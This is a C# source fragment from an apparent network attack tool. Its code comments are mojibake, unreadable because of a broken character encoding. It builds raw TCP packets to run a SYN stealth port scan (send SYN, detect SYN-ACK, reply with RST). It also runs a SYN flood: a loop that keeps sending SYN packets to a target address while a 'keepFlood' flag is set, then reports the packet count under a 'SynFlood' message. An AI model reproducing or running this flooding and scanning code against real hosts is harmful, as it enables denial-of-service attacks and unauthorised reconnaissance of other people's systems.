/// <summary>
/// ��ȡ��
/// </summary>
/// <param name="sender"></param>
/// <param name="args"></param>
public void TcpSyn_PacketArrival(object sender, RawSocket.PacketArrivedEventArgs args)
{
if (args.Protocol == "TCP" && args.OriginationAddress == aimAddr)
{
//�������ݰ�
byte[] revMsg = args.ReceiveBuffer;
byte flag = revMsg[33];
ushort port = BitConverter.ToUInt16(revMsg, 20);
byte[] rport = BitConverter.GetBytes(port);
Array.Reverse(rport);
port = BitConverter.ToUInt16(rport, 0);
if (flag == 0x0012)
{
Updateportlist1(ui,port);
success = true;
#region ������յ�SYN|ACK������һ��RST�źŹر�����
IPAddress ipAddr = IPAddress.Parse(aimAddr);
IPEndPoint iep = new IPEndPoint(ipAddr, Convert.ToInt32(port));
Random rand = new Random();
uint ip = BitConverter.ToUInt32(ipAddr.GetAddressBytes(), 0);
syn rstSock = new syn(ip, port, iep, rand, Convert.ToByte(0x04));
rstSock.synFS();
#endregion
}
if (Scanner.finishPort == System.Math.Abs(endPort - startPort + 1) || rSocket.ErrorOccurred || rSocket.KeepRunning == false )
{
UpdateTBResult(ui, "Finish!\r\n");
rSocket.Shutdown();
UpdateBtnStart(ui, true);
}
}
}
/// <summary>
/// ����TcySyn��
/// </summary>
/// <param name="aimAddr"></param>
/// <param name="port"></param>
/// <returns></returns>
public void SendSynPackets()
{
//byte[] szSendBuf = new byte[100];
try
{
//��ȡĿ��������Ϣ IP��ַ
IPHostEntry ipAddr = Dns.GetHostByName(aimAddr);
while (keepFlood)
{
for (int port = startPort; port <= endPort; port++)
{
//ѭ��ɨ������˿�
IPEndPoint iep = new IPEndPoint(ipAddr.AddressList[0], port);
try
{
#region ����TCP�� �°�
Random rand = new Random();
uint ip = Convert.ToUInt32(ipAddr.AddressList[0].Address);
syn synSock = new syn(ip, Convert.ToUInt16(port), iep, rand, Convert.ToByte(0x02));
synSock.synFS();
#endregion
}
catch (Exception ex)
{
UpdateTBResult(ui, ex.Message.ToString());
}
finally
{
//scanSock.Close();
}
//���㷢�Ͱ�������
packetNum++;
}
}
}
catch
{
}
threadFinish++;
if (threadFinish == threadCount)
{
//�����߳�ȫ�����
//packetNum = packetNum*threadCount;
string ret = "SynFlood�������������� " + aimAddr + " ������ " + packetNum.ToString() + " �����ݰ�\r\n";
UpdateTBResult(ui, ret);
}
}
/// <summary>
/// ����TcySyn��
/// </summary>
/// <param name="aimAddr"></param>
/// <param name="port"></param>
/// <returns></returns>
public void ScanPorts()
{
try
{
//��ȡĿ��������Ϣ IP��ַ
IPAddress ipAddr = IPAddress.Parse(aimAddr);
for (int port = startPort; port <= endPort; port++)
{
//ѭ��ɨ������˿�
Updateloglist(ui,port);
Scanner.finishPort++;
IPEndPoint iep = new IPEndPoint(ipAddr, port);
try
{
#region ����TCP�� �°�
Random rand = new Random();
uint ip = BitConverter.ToUInt32(ipAddr.GetAddressBytes(), 0);
syn synSock = new syn(ip, Convert.ToUInt16(port), iep, rand, Convert.ToByte(0x02));
synSock.synFS();
#endregion
}
catch(Exception ex)
{
UpdateTBResult(ui, ex.Message.ToString() + "\r\n");
}
finally
{
}
}
}
catch
{
}
}